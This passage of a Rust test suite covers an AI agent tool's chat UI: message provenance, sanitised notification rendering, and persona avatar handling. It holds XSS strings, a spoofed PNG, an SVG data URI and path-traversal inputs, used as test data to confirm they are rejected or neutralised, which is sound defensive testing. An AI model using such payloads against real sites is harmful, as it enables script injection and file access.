13316        let repo = tmp.path().join("repo");
13317        std::fs::create_dir_all(&repo).expect("repo dir");
13318        std::fs::write(
13319            repo.join("magi.toml"),
13320            format!("{MOCK_AGENT_TOML}\n{extra}"),
13321        )
13322        .expect("write magi.toml");
13323        let home = TempDir::new().expect("temp home");
13324        let talks = Talks::at(home.path().join("talks"));
13325        let ui = Arc::new(
13326            Ui::new(
13327                Queue::at(home.path().join("queue")),
13328                Questions::at(home.path().join("questions")),
13329                talks.clone(),
13330                home.path().join("runs"),
13331                home.path().to_path_buf(),
13332                repo.clone(),
13333            )
13334            .with_worktrees_root(home.path().join("wt")),
13335        );
13336        let cfg = config_for(&repo).await.expect("discover config");
13337        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13338        (tmp, home, ui, talk.id, repo)
13339    }
13340
13341    #[tokio::test]
13342    async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
13343        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13344        let mut conversation = ui.talks.get(&id).unwrap();
13345        talk::record(
13346            &mut conversation,
13347            &ui.talks,
13348            "# Update on a task you filed\noperator words",
13349            vec![],
13350        )
13351        .unwrap();
13352        // Simulate an old operator record; headings do not prove authorship.
13353        conversation.turns[0].sender = None;
13354        conversation.turns[0].messages.clear();
13355        ui.talks.put(&mut conversation).unwrap();
13356        talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
13357        talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
13358        talk::drain(&mut conversation, &ui.talks).unwrap();
13359        talk::record_reply(
13360            &mut conversation,
13361            &ui.talks,
13362            "about that report",
13363            vec![],
13364            Some(talk::ReplyTarget {
13365                turn: 1,
13366                message: 1,
13367            }),
13368        )
13369        .unwrap();
13370        conversation.turns[2].messages[0]
13371            .reply
13372            .as_mut()
13373            .unwrap()
13374            .sender = None;
13375        conversation.turns.push(talk::Turn {
13376            sender: Some(talk::Sender::Persona),
13377            who: talk::Who::Agent,
13378            body: "magi: actual persona words".into(),
13379            at: Timestamp::now(),
13380            attachments: vec![],
13381            usage: None,
13382            breaks: None,
13383            messages: vec![],
13384            posted_by: None,
13385        });
13386        ui.talks.put(&mut conversation).unwrap();
13387        let view = TalkView::with_config(
13388            ui.talks.get(&id).unwrap(),
13389            false,
13390            None,
13391            &ui.home,
13392            &ui.references,
13393        );
13394        assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
13395        assert_eq!(
13396            view.talk.turns[1].messages[0].sender,
13397            Some(talk::Sender::Operator)
13398        );
13399        assert_eq!(
13400            view.talk.turns[1].messages[1].sender,
13401            Some(talk::Sender::Magi)
13402        );
13403        assert_eq!(
13404            view.talk.turns[2].messages[0]
13405                .reply
13406                .as_ref()
13407                .unwrap()
13408                .sender,
13409            Some(talk::Sender::Magi)
13410        );
13411        assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
13412        assert_eq!(view.turn_messages_md[0].len(), 1);
13413        assert!(view.turn_messages_md[0][0].is_none());
13414        assert!(view.turn_messages_md[1][0].is_none());
13415        assert!(view.turn_messages_md[1][1].is_some());
13416    }
13417
13418    #[tokio::test]
13419    async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
13420        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13421        let mut conversation = ui.talks.get(&id).unwrap();
13422        let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
13423        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
13424        talk::queue_notice(
13425            &mut conversation,
13426            &ui.talks,
13427            &body,
13428            "watch:123",
13429            &|_| false,
13430            None,
13431            display.clone(),
13432        )
13433        .unwrap();
13434        assert!(
13435            !talk::queue_notice(
13436                &mut conversation,
13437                &ui.talks,
13438                &body,
13439                "watch:123",
13440                &|_| false,
13441                None,
13442                display.clone()
13443            )
13444            .unwrap()
13445        );
13446        let saved = ui.talks.get(&id).unwrap();
13447        assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
13448        let view = TalkView::with_config(saved, false, None, &ui.home, &ui.references);
13449        assert!(
13450            view.talk.turns[0].messages[0].display.is_none(),
13451            "operator copy stays literal"
13452        );
13453        assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
13454        assert!(view.turn_messages_md[0][0].is_none());
13455        let queued_md = view.pending_messages_md[0].clone();
13456        assert_eq!(
13457            queued_md,
13458            Some(md::to_nodes(&display.facts, &md::ImageBase::None))
13459        );
13460        talk::drain(&mut conversation, &ui.talks).unwrap();
13461        talk::record_reply(
13462            &mut conversation,
13463            &ui.talks,
13464            "Explain",
13465            vec![],
13466            Some(talk::ReplyTarget {
13467                turn: 1,
13468                message: 0,
13469            }),
13470        )
13471        .unwrap();
13472        let mut saved = ui.talks.get(&id).unwrap();
13473        assert_eq!(saved.turns[1].messages[0].body, body);
13474        assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
13475        let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
13476        assert!(!reply.excerpt.contains("automatic report"));
13477        reply.excerpt = body.chars().take(240).collect(); // old saved quote
13478        saved.turns[1].messages[0].display = None; // old MAGI send
13479        ui.talks.put(&mut saved).unwrap();
13480        let view = TalkView::with_config(
13481            ui.talks.get(&id).unwrap(),
13482            false,
13483            None,
13484            &ui.home,
13485            &ui.references,
13486        );
13487        assert_eq!(view.turn_messages_md[1][0], queued_md);
13488        assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
13489        assert!(
13490            !view.talk.turns[2].messages[0]
13491                .reply
13492                .as_ref()
13493                .unwrap()
13494                .excerpt
13495                .contains("automatic report")
13496        );
13497        assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
13498    }
13499
13500    #[tokio::test]
13501    async fn consultation_display_hides_directives_in_queue_and_history() {
13502        for node in [
13503            "implement",
13504            crate::land::APPROVAL_NODE,
13505            crate::github_text::ASK_NODE,
13506        ] {
13507            let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13508            let mut question = Question::new(
13509                "run-123".into(),
13510                node.into(),
13511                "seat-1".into(),
13512                "Which backend?".into(),
13513                "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
13514                vec!["SQLite".into(), "Redis".into()],
13515            );
13516            ui.questions.put(&mut question).unwrap();
13517            let body = crate::prompt::chat_consult(&question);
13518            let mut conversation = ui.talks.get(&id).unwrap();
13519            talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
13520            assert!(
13521                crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
13522            );
13523            conversation = ui.talks.get(&id).unwrap();
13524            assert_eq!(conversation.pending_messages[0].body, body);
13525            assert!(body.contains("magi answer"));
13526            let mut legacy_pending = conversation.clone();
13527            legacy_pending.pending_messages[0].display = None;
13528            let legacy_view =
13529                TalkView::with_config(legacy_pending, false, None, &ui.home, &ui.references);
13530            let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
13531            assert!(legacy_md.contains("Question consultation"));
13532            assert!(!legacy_md.contains("magi answer"));
13533            let view =
13534                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
13535            assert!(
13536                view.turn_messages_md[0][0].is_none(),
13537                "operator copy stays literal"
13538            );
13539            let queued_md = view.pending_messages_md[0].clone().unwrap();
13540            let rendered = serde_json::to_string(&queued_md).unwrap();
13541            for visible in [
13542                "Which backend?",
13543                "Context",
13544                "storage",
13545                "SQLite",
13546                "Redis",
13547                "<script>literal</script>",
13548            ] {
13549                assert!(rendered.contains(visible), "missing {visible}");
13550            }
13551            for directive in [
13552                "What to do",
13553                "magi answer",
13554                "Never answer it yourself",
13555                "Do not edit the repository",
13556            ] {
13557                assert!(!rendered.contains(directive), "exposed {directive}");
13558            }
13559            assert_eq!(
13560                view.talk.pending_messages[0].display,
13561                Some(crate::prompt::chat_consult_display(&question))
13562            );
13563            talk::drain(&mut conversation, &ui.talks).unwrap();
13564            let view =
13565                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
13566            assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
13567            assert_eq!(conversation.turns[1].messages[0].body, body);
13568
13569            // Historical consultations lack a snapshot: show a safe placeholder
13570            // rather than parsing instructions or reconstructing mutable facts.
13571            conversation.turns[1].messages[0].display = None;
13572            let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
13573            let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
13574            assert!(legacy.contains("Question consultation"));
13575            assert!(!legacy.contains("magi answer"));
13576            assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
13577        }
13578    }
13579
13580    #[test]
13581    fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
13582        let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
13583        let (body, mut display) =
13584            crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
13585        display.facts = facts.into();
13586        let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
13587        assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
13588        let json = serde_json::to_string(&nodes).unwrap();
13589        for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
13590            assert!(json.contains(&format!("\"type\":\"{kind}\"")));
13591        }
13592        assert!(json.contains("<script>alert(1)</script>"));
13593        assert!(!json.contains("javascript:"));
13594        assert!(!json.contains("Tell the operator"));
13595        assert!(!json.contains("untrusted"));
13596        assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
13597        assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
13598        assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
13599        assert_eq!(
13600            notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
13601            md::to_nodes("# Status", &md::ImageBase::None),
13602        );
13603    }
13604
13605    #[tokio::test]
13606    async fn notification_display_recovers_exact_legacy_completion_references() {
13607        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13608        let mut conversation = ui.talks.get(&id).unwrap();
13609        let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
13610            id: "task-123",
13611            title: "Change",
13612            status: "done",
13613            reason: None,
13614            run: Some("run-123"),
13615            pr: None,
13616            summary: Some("Merge state unknown"),
13617        });
13618        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
13619        conversation.turns[0].sender = None;
13620        conversation.turns[0].messages.clear();
13621        conversation.turns[0].breaks = None;
13622        conversation.pending = body.clone();
13623        conversation
13624            .completion_notices
13625            .push(crate::chat_notify::CompletionReference {
13626                task: "task-123".into(),
13627                run: Some("run-123".into()),
13628                notice: body.clone(),
13629            });
13630        ui.talks.put(&mut conversation).unwrap();
13631        let view = TalkView::with_config(
13632            ui.talks.get(&id).unwrap(),
13633            false,
13634            None,
13635            &ui.home,
13636            &ui.references,
13637        );
13638        assert_eq!(
13639            view.talk.turns[0].messages[0].display,
13640            Some(display.clone())
13641        );
13642        assert_eq!(view.talk.pending_messages[0].display, Some(display));
13643        assert_eq!(
13644            view.talk.turns[0].messages[0].sender,
13645            Some(talk::Sender::Magi)
13646        );
13647        assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
13648        conversation.completion_notices[0]
13649            .notice
13650            .push_str("different");
13651        let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
13652        assert!(view.talk.turns[0].messages.is_empty());
13653        assert!(view.talk.pending_messages.is_empty());
13654    }
13655
13656    #[tokio::test]
13657    async fn avatar_settings_report_states_and_inherit_after_corruption() {
13658        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
13659        let (_tmp, home, ui, _, _) = avatar_fixture(&format!(
13660            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n"
13661        ))
13662        .await;
13663        let path = avatar_setting_path(home.path(), Some("rei"));
13664        let orphan = avatar_setting_path(home.path(), Some("removed"));
13665        save_icon_file(&orphan, icon).unwrap();
13666        for (saved, expected) in [
13667            (icon, "custom"),
13668            ("builtin", "builtin"),
13669            ("data:image/png;base64,!!!!", "inherit"),
13670            ("data:image/png;base64,PGh0bWw+", "inherit"),
13671            ("/tmp/avatar.png", "inherit"),
13672        ] {
13673            atomic_icon_write(&path, saved).unwrap();
13674            let catalog =
13675                avatar_settings_get(State(ui.clone()), Query(AvatarSettingsQuery::default()))
13676                    .await
13677                    .unwrap()
13678                    .0;
13679            let personas = catalog["personas"].as_array().unwrap();
13680            let rei = personas.iter().find(|p| p["id"] == "rei").unwrap();
13681            assert_eq!(rei["override_state"], expected);
13682            assert_eq!(rei["has_config_icon"], true);
13683            assert_eq!(rei["is_orphan"], false);
13684            let removed = personas.iter().find(|p| p["id"] == "removed").unwrap();
13685            assert_eq!(removed["override_state"], "custom");
13686            assert_eq!(removed["is_orphan"], true);
13687            let default = personas.iter().find(|p| p["id"] == "default").unwrap();
13688            assert_eq!(default["override_state"], "inherit");
13689            assert_eq!(default["has_config_icon"], false);
13690            let effective = effective_persona_icon(home.path(), "rei", Some(icon));
13691            assert_eq!(
13692                effective.as_deref(),
13693                Some(if expected == "builtin" { "" } else { icon })
13694            );
13695        }
13696    }
13697
13698    #[tokio::test]
13699    async fn avatar_settings_persist_reset_isolate_and_reject_invalid_images() {
13700        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
13701        let (_tmp, home, ui, id, repo) = avatar_fixture(&format!(
13702            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n\n[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Stay concise\"\n"
13703        ))
13704        .await;
13705        let target = |id: Option<&str>| AvatarSettingsQuery {
13706            persona: id.map(str::to_owned),
13707            ..Default::default()
13708        };
13709        let original_config = config_for(&repo).await.unwrap();
13710        let original_persona = persona::find(&original_config.talk.personas, "rei").unwrap();
13711        let original_prompt = persona::section_for(&original_persona, None);
13712        let before = talk_detail(State(ui.clone()), Path(id.clone()))
13713            .await
13714            .unwrap()
13715            .0;
13716        for persona in [None, Some("rei"), Some("magi"), Some("../custom/日本語")] {
13717            let _ = avatar_settings_put(
13718                State(ui.clone()),
13719                Query(target(persona)),
13720                Json(MagiIconUpload { icon: icon.into() }),
13721            )
13722            .await
13723            .unwrap();
13724            let path = avatar_setting_path(home.path(), persona);
13725            assert!(path.starts_with(home.path().join("avatars")));
13726            assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
13727            for bad in [
13728                "/tmp/image.png".to_owned(),
13729                "data:image/png;base64,!!!!".to_owned(),
13730                "data:image/png;base64,PGh0bWw+".to_owned(),
13731                "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
13732                format!(
13733                    "data:image/png;base64,{}",
13734                    "A".repeat(persona_icon::ICON_MAX_BYTES)
13735                ),
13736            ] {
13737                assert!(
13738                    avatar_settings_put(
13739                        State(ui.clone()),
13740                        Query(target(persona)),
13741                        Json(MagiIconUpload { icon: bad })
13742                    )
13743                    .await
13744                    .is_err()
13745                );
13746                assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
13747            }
13748        }
13749        assert!(read_magi_icon(home.path()).is_none());
13750        assert!(effective_persona_icon(home.path(), "asuka", None).is_none());
13751        let after = talk_detail(State(ui.clone()), Path(id.clone()))
13752            .await
13753            .unwrap()
13754            .0;
13755        assert_ne!(before.view.operator_avatar, after.view.operator_avatar);
13756        assert_ne!(
13757            before
13758                .personas
13759                .iter()
13760                .find(|p| p.id == "magi")
13761                .unwrap()
13762                .avatar,
13763            after
13764                .personas
13765                .iter()
13766                .find(|p| p.id == "magi")
13767                .unwrap()
13768                .avatar
13769        );
13770        let restarted = Arc::new(Ui::new(
13771            Queue::at(home.path().join("queue")),
13772            Questions::at(home.path().join("questions")),
13773            Talks::at(home.path().join("talks")),
13774            home.path().join("runs"),
13775            home.path().to_owned(),
13776            repo,
13777        ));
13778        let catalog = avatar_settings_get(State(restarted.clone()), Query(target(None)))
13779            .await
13780            .unwrap()
13781            .0;
13782        assert!(
13783            catalog["personas"]
13784                .as_array()
13785                .unwrap()
13786                .iter()
13787                .any(|p| p["id"] == "../custom/日本語")
13788        );
13789        for expected in ["custom", "default", "rei"] {
13790            assert!(
13791                catalog["personas"]
13792                    .as_array()
13793                    .unwrap()
13794                    .iter()
13795                    .any(|p| p["id"] == expected)
13796            );
13797        }
13798        let response =
13799            operator_avatar(State(restarted.clone()), Query(AvatarQuery::default())).await;
13800        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
13801        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(Some("rei"))))
13802            .await
13803            .unwrap();
13804        assert_eq!(
13805            effective_persona_icon(home.path(), "rei", Some(icon)),
13806            Some(String::new())
13807        );
13808        let response = talk_avatar(
13809            State(restarted.clone()),
13810            Path(id.clone()),
13811            Query(AvatarQuery {
13812                persona: Some("rei".into()),
13813                ..Default::default()
13814            }),
13815        )
13816        .await
13817        .unwrap();
13818        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/svg+xml");
13819        let reset = talk_detail(State(restarted.clone()), Path(id.clone()))
13820            .await
13821            .unwrap()
13822            .0;
13823        assert_ne!(
13824            after
13825                .personas
13826                .iter()
13827                .find(|p| p.id == "rei")
13828                .unwrap()
13829                .avatar,
13830            reset
13831                .personas
13832                .iter()
13833                .find(|p| p.id == "rei")
13834                .unwrap()
13835                .avatar
13836        );
13837        let mut inherit = target(Some("rei"));
13838        inherit.inherit = Some("1".into());
13839        let _ = avatar_settings_delete(State(restarted.clone()), Query(inherit))
13840            .await
13841            .unwrap();
13842        assert_eq!(
13843            effective_persona_icon(home.path(), "rei", Some(icon)).as_deref(),
13844            Some(icon)
13845        );
13846        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(None)))
13847            .await
13848            .unwrap();
13849        assert_eq!(operator_icon_url(home.path()), before.view.operator_avatar);
13850        assert_eq!(
13851            read_icon_file(&avatar_setting_path(home.path(), Some("magi"))).as_deref(),
13852            Some(icon)
13853        );
13854        // Display changes never rewrite the conversation or its prompt-bearing config.
13855        let cfg = config_for(&ui.repo).await.unwrap();
13856        let resolved = persona::find(&cfg.talk.personas, "rei").unwrap();
13857        assert_eq!(persona::section_for(&resolved, None), original_prompt);
13858        assert!(!original_prompt.contains("data:image"));
13859        assert_eq!(ui.talks.get(&id).unwrap().persona, before.view.talk.persona);
13860        let stored = serde_json::to_string(&ui.talks.get(&id).unwrap()).unwrap();
13861        assert!(!stored.contains("data:image"));
13862        let mut orphan = ui.talks.get(&id).unwrap();
13863        orphan.persona = "../custom/日本語".into();
13864        let view = TalkView::with_config(
13865            orphan,
13866            false,
13867            Some(&cfg),
13868            home.path(),
13869            &id_links::IndexCache::default(),
13870        );
13871        assert!(view.persona_avatar.contains("persona=..%2Fcustom%2F"));
13872    }
13873
13874    #[tokio::test]
13875    async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
13876        let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
13877        let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
13878        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
13879        let _ = magi_icon_put(
13880            State(ui.clone()),
13881            Json(MagiIconUpload { icon: icon.into() }),
13882        )
13883        .await
13884        .unwrap();
13885        let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
13886        assert_ne!(original, changed);
13887        assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
13888        let response = magi_avatar(
13889            State(ui.clone()),
13890            Query(AvatarQuery {
13891                persona: None,
13892                builtin: None,
13893            }),
13894        )
13895        .await;
13896        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
13897        assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
13898        assert_eq!(
13899            response.headers()[header::X_CONTENT_TYPE_OPTIONS],
13900            "nosniff"
13901        );
13902        for bad in [
13903            "data:image/png;base64,PGh0bWw+".to_owned(),
13904            "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
13905            "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
13906        ] {
13907            assert!(save_magi_icon(home.path(), &bad).is_err());
13908            assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
13909        }
13910        // Re-opened server state reads the same independent home file.
13911        let restarted = Arc::new(Ui::new(
13912            Queue::at(home.path().join("queue")),
13913            Questions::at(home.path().join("questions")),
13914            Talks::at(home.path().join("talks")),
13915            home.path().join("runs"),
13916            home.path().to_path_buf(),
13917            repo,
13918        ));
13919        assert_eq!(
13920            magi_icon_get(State(restarted.clone())).await.0["avatar"],
13921            changed
13922        );
13923        let view = TalkView::with_config(
13924            restarted.talks.get(&id).unwrap(),
13925            false,
13926            None,
13927            &restarted.home,
13928            &restarted.references,
13929        );
13930        assert_eq!(view.magi_avatar, changed.as_str().unwrap());
13931        std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
13932        let response = magi_avatar(
13933            State(ui.clone()),
13934            Query(AvatarQuery {
13935                persona: None,
13936                builtin: None,
13937            }),
13938        )
13939        .await;
13940        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
13941            .await
13942            .unwrap();
13943        assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
13944        let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
13945        assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
13946        let _ = magi_icon_delete(State(ui)).await.unwrap();
13947    }
13948
13949    /// `(status, content-type, nosniff, csp, body)` of one avatar request.
13950    async fn avatar(
13951        ui: &Arc<Ui>,
13952        id: &str,
13953        persona: Option<&str>,
13954        builtin: bool,
13955    ) -> (StatusCode, String, bool, bool, Vec<u8>) {
13956        let res = talk_avatar(
13957            State(Arc::clone(ui)),
13958            Path(id.to_owned()),
13959            Query(AvatarQuery {
13960                persona: persona.map(str::to_owned),
13961                builtin: builtin.then(|| "1".to_owned()),
13962            }),
13963        )
13964        .await
13965        .expect("an avatar is never an error response");
13966        let h = res.headers();
13967        let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
13968        let nosniff = h
13969            .get(header::X_CONTENT_TYPE_OPTIONS)
13970            .is_some_and(|v| v == "nosniff");
13971        let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
13972        let status = res.status();
13973        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
13974            .await
13975            .expect("body")
13976            .to_vec();
13977        (status, ct, nosniff, csp, body)
13978    }
13979
13980    fn tiny_png() -> Vec<u8> {
13981        let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
13982        b.extend_from_slice(&[0u8; 32]);
13983        b
13984    }
13985
13986    #[tokio::test]
13987    async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
13988        let (_tmp, _home, ui, _id, _repo) = avatar_fixture("").await;
13989        let res = operator_avatar(State(ui), Query(AvatarQuery::default())).await;
13990        assert_eq!(res.status(), StatusCode::OK);
13991        assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
13992        assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
13993        assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
13994        assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
13995        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
13996            .await
13997            .unwrap();
13998        assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
13999        assert_ne!(
14000            persona_icon::operator_svg(),
14001            persona_icon::builtin_svg("default")
14002        );
14003    }
14004
14005    #[tokio::test]
14006    async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
14007        let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
14008        for p in [
14009            "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
14010        ] {
14011            let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
14012            assert_eq!(status, StatusCode::OK, "{p}");
14013            assert_eq!(ct, "image/svg+xml", "{p}");
14014            assert!(nosniff && csp, "{p}");
14015            assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
14016        }
14017        // No `persona` means the conversation's own; unknown ones fall back.
14018        let own = avatar(&ui, &id, None, false).await;
14019        let default = avatar(&ui, &id, Some("default"), false).await;
14020        assert_eq!(own.4, default.4);
14021        let unknown = avatar(&ui, &id, Some("nobody"), false).await;
14022        assert_eq!(unknown.1, "image/svg+xml");
14023    }
14024
14025    #[tokio::test]
14026    async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
14027        let dir = TempDir::new().expect("icons");
14028        let good = dir.path().join("good.png");
14029        std::fs::write(&good, tiny_png()).unwrap();
14030        let spoof = dir.path().join("spoof.png");
14031        std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
14032        let big = dir.path().join("big.png");
14033        let mut bytes = tiny_png();
14034        bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
14035        std::fs::write(&big, bytes).unwrap();
14036        let missing = dir.path().join("missing.png");
14037        let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
14038        let extra = format!(
14039            "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
14040             [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
14041             [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
14042             [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
14043             [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
14044             [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
14045            uri(&good),
14046            uri(&spoof),
14047            uri(&big),
14048            uri(&missing),
14049        );
14050        let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
14051
14052        let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
14053        assert_eq!(
14054            (status, ct.as_str(), nosniff),
14055            (StatusCode::OK, "image/png", true)
14056        );
14057        assert_eq!(body, tiny_png());
14058        let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
14059        assert_eq!(ct, "image/png", "data URI");
14060
14061        for p in ["misato", "asuka", "shinji", "magi"] {
14062            let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
14063            assert_eq!(
14064                (status, ct.as_str(), csp),
14065                (StatusCode::OK, "image/svg+xml", true),
14066                "{p}"
14067            );
14068            assert!(body.starts_with(b"<svg"), "{p}");
14069        }
14070        // The page's own retry skips the icon.
14071        let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
14072        assert_eq!(ct, "image/svg+xml");
14073    }
14074
14075    #[tokio::test]
14076    async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
14077        let oversized = format!(
14078            "data:image/png;base64,{}",
14079            "A".repeat(persona_icon::ICON_MAX_BYTES)
14080        );
14081        for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
14082            let extra = format!(
14083                "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
14084            );
14085            let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
14086            let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14087                .await
14088                .expect("detail with invalid icon");
14089            assert!(detail.personas.iter().any(|p| p.id == "custom"));
14090            let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
14091            assert_eq!(status, StatusCode::OK);
14092            assert_eq!(ct, "image/svg+xml");
14093            assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
14094            let Json(view) = talk_persona(
14095                State(Arc::clone(&ui)),
14096                Path(id.clone()),
14097                Json(TalkPersona {
14098                    persona: "custom".into(),
14099                }),
14100            )
14101            .await
14102            .expect("persona switch with invalid icon");
14103            assert_eq!(view.talk.persona, "custom");
14104            assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
14105        }
14106    }
14107
14108    #[tokio::test]
14109    async fn an_unreadable_config_still_gets_the_builtin_avatar() {
14110        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
14111        std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
14112        let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
14113        assert_eq!(
14114            (status, ct.as_str(), nosniff, csp),
14115            (StatusCode::OK, "image/svg+xml", true, true)
14116        );
14117    }
14118
14119    #[tokio::test]
14120    async fn the_talk_view_carries_server_built_avatar_urls_only() {
14121        let (_t, _h, ui, id, _repo) =
14122            avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
14123        let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14124            .await
14125            .expect("detail");
14126        let json = serde_json::to_string(&detail).unwrap();
14127        assert!(
14128            !json.contains("secret"),
14129            "the icon setting must not leak: {json}"
14130        );
14131        assert!(
14132            detail
14133                .view
14134                .persona_avatar
14135                .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
14136        );
14137        assert_eq!(
14138            detail.view.operator_avatar,
14139            format!(
14140                "/avatars/operator.svg?v={}",
14141                persona_icon::fingerprint(Some(persona_icon::operator_svg()))
14142            )
14143        );
14144        assert!(!detail.personas.iter().any(|p| p.id == "operator"));
